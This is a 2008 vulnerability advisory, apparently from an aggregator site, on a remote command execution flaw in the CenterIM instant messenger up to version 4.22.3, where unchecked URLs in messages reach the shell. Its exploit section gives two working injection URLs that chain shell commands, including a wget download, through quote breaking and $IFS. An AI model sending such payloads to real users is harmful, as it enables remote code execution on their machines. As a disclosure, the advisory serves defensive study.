CenterIM <= 4.22.3 Remote Command Execution Vulnerability

🗓️ 21 Mar 2008 00:00:00Reported by RootType

CenterIM <= 4.22.3 Remote Command Execution Vulnerability, Allows Remote Command Execution


                                                #######################################################################

Application:&nbsp;&nbsp;CenterIM
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.centerim.org/index.php/Main_Page
Versions:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;centerim&nbsp;&lt;=&nbsp;4.22.3
OS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Linux
Bug:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Execution&nbsp;of&nbsp;shell&nbsp;commands
Exploit:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;remote
Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;15&nbsp;March&nbsp;2008
Author:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Brian&nbsp;Fonfara&nbsp;(w00)
&nbsp;&nbsp;&nbsp;eMail:&nbsp;&nbsp;&nbsp;&nbsp;[email protected]
&nbsp;&nbsp;&nbsp;Web:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newb.kicks-ass.net


#######################################################################

1)&nbsp;Bug
2)&nbsp;Exploit


#######################################################################

=======
1)&nbsp;Bug
=======

Received&nbsp;URLs&nbsp;in&nbsp;the&nbsp;message&nbsp;window&nbsp;do&nbsp;not&nbsp;get&nbsp;checked&nbsp;for&nbsp;illegal
characters,&nbsp;like&nbsp;&quot;\'&quot;,&nbsp;&quot;\&quot;&quot;,&nbsp;&quot;;&quot;,&nbsp;&quot;$&quot;,&nbsp;&quot;{&quot;,&nbsp;&quot;}&quot;,&nbsp;&quot;&amp;&amp;&quot;&nbsp;and&nbsp;&quot;||&quot;

#######################################################################

===========
2)&nbsp;Exploit
===========

Standard&nbsp;settings:
-&nbsp;Browser&nbsp;already&nbsp;open:
http://gidf.de/centerim)';cd$IFS$HOME/Desktop;wget${IFS}http://google.de;'(

-&nbsp;New&nbsp;browser&nbsp;instance:
http://gidf.de/centerim&quot;&amp;cd$IFS$HOME/Desktop;wget${IFS}http://google.de&quot;

#######################################################################

Greets&nbsp;to:&nbsp;mrks

21 Mar 2008 00:00Current

7.1High risk

Vulners AI Score7.1

CenterIM &lt;= 4.22.3 Remote Command Execution Vulnerability

CenterIM <= 4.22.3 Remote Command Execution Vulnerability